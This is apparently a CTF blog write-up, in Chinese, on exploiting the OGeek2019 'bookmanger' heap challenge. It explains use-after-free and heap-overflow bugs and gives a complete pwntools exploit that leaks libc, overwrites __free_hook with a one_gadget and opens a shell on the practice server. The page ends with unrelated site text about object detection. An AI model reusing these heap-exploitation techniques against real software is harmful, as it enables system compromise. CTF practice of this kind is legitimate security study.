heap_overflow(OGeek2019-bookmanger50)

题目:OGeek2019-bookmanger50

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gy2rHTym-1648199452615)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165315445.png)

分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3JSoLvKg-1648199452615)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165412444.png)

add_chapter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t8pet3Rl-1648199452616)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165433657.png)

add_section

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gH9W4Fjc-1648199452616)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165452794.png)

add_text

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qDGm54uz-1648199452617)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165505763.png)

rm_chapter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UNBUHGOV-1648199452617)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165516208.png)

rm_section

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-klJ9XTwO-1648199452617)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165525663.png)

rm_text

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RyPG9r1R-1648199452618)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165536035.png)

show

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IjqoQXFC-1648199452618)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165557068.png)

edit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VPUjcfQP-1648199452619)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165609472.png)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XNsdVjFY-1648199452619)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325165614794.png)

思路

这题的漏洞非常多有uaf,off-by-one,堆溢出因为漏洞太多以至于给我整不会了,ida逆向时看起来挺复杂其实就是一个常规的简单堆题,我在做unsort bin泄漏libc时把堆空间整坏了,做题时我没注意到泄漏方式的问题导致我后面做的怀疑人生,导致花了非常多时间,其实这题非常简单,没有很多常规题的限制

整理出来大概堆空间如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-384n83YG-1648199452619)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325170056609.png)

且每个ptr都可以单独申请出来,且漏洞非常多,限制少,就导致这题做法特别灵活.

首先unseat bin泄漏libc

    add('chapter','','0')
    add('section','0','A')
    add('text','A','B',0x90)

    add('section','0','B') #0x40

    dele('section','A') #uaf
    add('text','B','B',0x90) #uaf
    show()
    ru('Text:')
    ru('Text:')
    leak = info(rc(6),'libc') #leak libc
    libc.address =  leak - (0x7ff30239eb42- 0x7ff301fda000) # 0x3c4b78

通过堆溢出即可完成写入one_gadget

edit('Text','B',b'A'*0x98 +p64(0x41)+ p64(0x41)+ p8(0)*0x18+ p64(libc.symbols['__free_hook']))
edit('Text','A',p64(one[1] + libc.address))
dele('chapter','0') #getshell

完整exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import sys

#context.terminal = ['terminator', '-x', 'sh', '-c']
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./OGeek2019-bookmanger50"

one = [0x45216,0x4526a,0xf02a4,0xf1147]  #2.23(64)
#idx = int(sys.argv[1])

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("node4.buuoj.cn","29119")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)

def logs(mallocr,string='logs'):
    if(isinstance(mallocr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))

def pa(s=1,t='step'):
    log.success('pause : '+ t +'---> '+str(hex(s)))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def add(ty,i='',c='',t=0x10):
    if ty=='chapter':
        sla('choice:','1')
        sa('name:',c)
    elif ty=='section':
        sla('choice:','2')
        sa('into:',i)
        sa('name:',c)
    elif ty=='text':
        sla('choice:','3')
        sa('into:',i)
        sa('write:',str(t))
        sa('Text:',c)
def dele(ty,i):
    if ty=='chapter':
        sla('choice:','4')
        sla('name:',str(i))
    elif ty=='section':
        sla('choice:','5')
        sla('name:',str(i))
    elif ty=='text':
        sla('choice:','6')
        sla('name:',str(i))

def show():
    sla('choice:','7')
def edit(tr,s,n):
    sla('choice:','8')
    sla(':',tr)
    sa('name:',s)
    sa(':',n)
################################### Statr ############################################
def pwn():
    sla('create:','root') #这里没啥用

    add('chapter','','0')
    add('section','0','A')
    add('text','A','B',0x90)

    add('section','0','B') #0x40

    dele('section','A') #uaf
    add('text','B','B',0x90) #uaf
    show()
    ru('Text:')
    ru('Text:')
    leak = info(rc(6),'libc') #leak libc
    libc.address =  leak - (0x7ff30239eb42- 0x7ff301fda000) # 0x3c4b78

    edit('Text','B',b'A'*0x98 +p64(0x41)+ p64(0x41)+ p8(0)*0x18+ p64(libc.symbols['__free_hook']))
    edit('Text','A',p64(one[1] + libc.address))
    dele('chapter','0')
    p.interactive()
################################### End ##############################################
pwn()
while 0:
    try:
        pwn()
        break
    except (KeyboardInterrupt [KeyboardInterrupt ]):
        p.close()
        #p = process(binary)
        p = remote("node4.buuoj.cn","29728")

远程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OxR1R3cf-1648199452620)(heap_overflow(OGeek2019-bookmanger50)].assets/image-20220325170658579.png)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
目标检测(Object Detection)是计算机视觉领域的一个核心问题,其主要任务是找出图像中所有感兴趣的目标(物体),并确定它们的类别和位置。以下是对目标检测的详细阐述: 一、基本概念 目标检测的任务是解决“在哪里?是什么?”的问题,即定位出图像中目标的位置并识别出目标的类别。由于各类物体具有不同的外观、形状和姿态,加上成像时光照、遮挡等因素的干扰,目标检测一直是计算机视觉领域最具挑战性的任务之一。 二、核心问题 目标检测涉及以下几个核心问题: 分类问题:判断图像中的目标属于哪个类别。 定位问题:确定目标在图像中的具体位置。 大小问题:目标可能具有不同的大小。 形状问题:目标可能具有不同的形状。 三、算法分类 基于深度学习的目标检测算法主要分为两大类: Two-stage算法:先进行区域生成(Region Proposal),生成有可能包含待检物体的预选框(Region Proposal),再通过卷积神经网络进行样本分类。常见的Two-stage算法包括R-CNN、Fast R-CNN、Faster R-CNN等。 One-stage算法:不用生成区域提议,直接在网络中提取特征来预测物体分类和位置。常见的One-stage算法包括YOLO系列(YOLOv1、YOLOv2、YOLOv3、YOLOv4、YOLOv5等)、SSD和RetinaNet等。 四、算法原理 以YOLO系列为例,YOLO将目标检测视为回归问题,将输入图像一次性划分为多个区域,直接在输出层预测边界框和类别概率。YOLO采用卷积网络来提取特征,使用全连接层来得到预测值。其网络结构通常包含多个卷积层和全连接层,通过卷积层提取图像特征,通过全连接层输出预测结果。 五、应用领域 目标检测技术已经广泛应用于各个领域,为人们的生活带来了极大的便利。以下是一些主要的应用领域: 安全监控:在商场、银行
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值